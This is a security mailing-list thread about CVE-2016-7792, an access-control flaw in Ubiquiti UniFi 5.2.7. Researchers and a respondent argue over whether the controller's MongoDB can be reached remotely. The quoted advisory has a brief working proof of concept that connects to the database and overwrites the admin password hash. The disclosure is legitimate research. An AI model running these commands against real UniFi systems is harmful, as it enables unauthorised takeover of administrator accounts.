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Re: [FD] Critical Vulnerability in Ubiquiti UniFi



Hi Carlos, 

you are correct that mongo is bound to 127.0.0.1 only. But you are able to get it remote if you are using the Unify Controller Software. 

So the db gets tunneled to your device. 

Test environment: 
1. I have configured the AP to our network. 
2. I have removed every piece of software for configuring the ap. 
3. I have installed the Unify Manager (for Mac 5.2.7.)
4. I’m able to connect to the database via 127.0.0.1 

Network topology: 
The access point is cabled to a AVM FritzBox. Our test client is connected via W-Lan provided by FritzBox - so there is no direct connection to the ap.  


Best regards
Tim Schughart
 
> Am 01.10.2016 um 15:30 schrieb Carlos Silva <r3pek AT r3pek.org>:
> 
> Hi Tim!
> 
> I can be missing something here but I just checked this on a fresh installed Unifi Controller and mongod is binding to localhost making this a non-issue. Or, you have to get a remote shell first before you can get a connection to the DB. Am I missing something?
> 
> Thanks,
> Carlos Silva
> 
> On Fri, Sep 30, 2016 at 10:49 AM, Tim Schughart <t.schughart AT prosec-networks.com> wrote:
> Hello @all,
> 
> together with my colleague we found two uncritical vulnerabilities you'll find below.
> 
> Product: UniFi AP AC Lite
> Vendor: Ubiquiti Networks Inc.
> 
> Internal reference: ? (Bug ID)
> Vulnerability type: Incorrect access control
> Vulnerable version: Unify 5.2.7 and possible other versions affected (not tested)
> Vulnerable component: Database
> Report confidence: yes
> Solution status: Not fixed by Vendor, the bug is a feature.
> Fixed versions: -
> Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of ProSec Networks
> Solution date: -
> Public disclosure: 2016-09-30
> CVE reference: CVE-2016-7792
> CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
> 
> 
> Vulnerability Details:
> You are able to connect to the access points database, because of an broken authentication (OWASP TOP10). So you are able to modify the database and read the data. An possible scenario you'll find in PoC section.
> 
> Risk:
> An attacker gets access to the database and for e.g. is able to change the admins password, like you see in PoC below.
> 
> PoC:
>  1. Generate SHA512 Hash with e.g.
>  mkpasswd -m sha-512
> 
>  2. Connect via network to database, e.g. :
>  mongo --port 27117 --host target_ip
> 
>  3. Change password via command
>  "db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":
>  "$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
>  4. Login via web interface with new password
> 
> 
> Best regards / Mit freundlichen Grüßen
> 
> 
> Tim Schughart
> CEO / Geschäftsführer
> 
> --
> ProSec Networks e.K.
> Ellingshohl 82
> 56077 Koblenz
> 
> Website: https://www.prosec-networks.com
> E-Mail: t.schughart AT prosec.networks.com
> Mobile: +49 (0)157 7901 5826
> Phone: +49 (0)261 450 930 90
> 
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